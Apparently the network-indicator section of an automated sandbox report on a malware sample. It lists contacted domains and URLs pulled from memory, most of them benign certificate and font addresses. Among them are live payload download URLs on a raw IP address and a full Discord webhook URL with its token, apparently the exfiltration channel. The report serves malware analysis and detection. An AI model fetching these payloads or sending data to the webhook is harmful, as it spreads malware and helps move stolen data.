http://www.fontbureau.comod	0%	Avira URL Cloud	safe
http://canary.discord.com	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.htmlk	0%	Avira URL Cloud	safe
http://23.94.99.119	0%	Avira URL Cloud	safe
https://canary.discord.com4	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn7r#	0%	Avira URL Cloud	safe
http://23.94.99.119D8	0%	Avira URL Cloud	safe
https://canary.discord.com	0%	Avira URL Cloud	safe
http://crl.securetrust.com/STCA.crl3#?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
canary.discord.com	162.159.138.232	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://canary.discord.com/api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS	false	Avira URL Cloud: safe	unknown
http://23.94.99.119/discord.exe	true	Avira URL Cloud: malware	unknown
http://23.94.99.119/discord.jar	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.chambersign.org/chambersroot.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.swisssign.com/K	javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.chambersign.org1	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.swisssign.com/0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329922047.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329863635.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://policy.camerfirma.comS	javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ascendercorp.com/typedesigners.html7	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/8	S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.comin	S3zoj9Uts0.exe, 00000000.00000003.327421985.0000000006349000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class2.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://23.94.99.1194	S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.jiyu-kobo.co.jp/.	S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ascendercorp.com/typedesigners.html	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.comd	S3zoj9Uts0.exe, 00000000.00000003.327421985.0000000006349000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	S3zoj9Uts0.exe, 00000000.00000003.324712938.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://policy.camerfirma.com0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/X	S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class2.crl	javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://bugreport.sun.com/bugreport/	javaw.exe, 00000001.00000002.581342306.000000000A1D5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://java.oracle.com/	javaw.exe, 00000001.00000002.581342306.000000000A1E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://null.oracle.com/	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000003.330568385.0000000015D12000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.588080129.0000000015D21000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.364579973.00000000158C0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.364983883.00000000158C0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.365248645.00000000158E3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/J	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/C	S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.come.com	S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html	javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl	javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	S3zoj9Uts0.exe, 00000000.00000003.329046284.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329015805.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl	javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0/	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn2	S3zoj9Uts0.exe, 00000000.00000003.324091059.0000000006323000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bm0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class2.crlk3G	javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/h	S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/d	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://policy.camerfirma.coms	javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://cps.chambersign.org/cps/chambersroot.html#	javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://canary.discord.com/api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwX	S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002441000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023BA000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://en.wikipedia.Xs	S3zoj9Uts0.exe, 00000000.00000003.324638231.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324656060.0000000006345000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/C	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/1	S3zoj9Uts0.exe, 00000000.00000003.328458739.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328479178.0000000006344000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.comod	S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/.	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl3N?	javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com	javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersT	S3zoj9Uts0.exe, 00000000.00000003.329809041.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://canary.discord.com	S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.0000000002425000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.typography.netD	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadisglobal.com/cps0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersx	S3zoj9Uts0.exe, 00000000.00000003.333786625.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersw	S3zoj9Uts0.exe, 00000000.00000003.329600210.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329628497.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fonts.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn7r#	S3zoj9Uts0.exe, 00000000.00000003.324712938.0000000006342000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/X	S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://canary.discord.com4	S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/	javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.chambersign.org	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://23.94.99.119	S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl	javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324656060.0000000006345000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canary.discord.com	S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.htmlk	javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
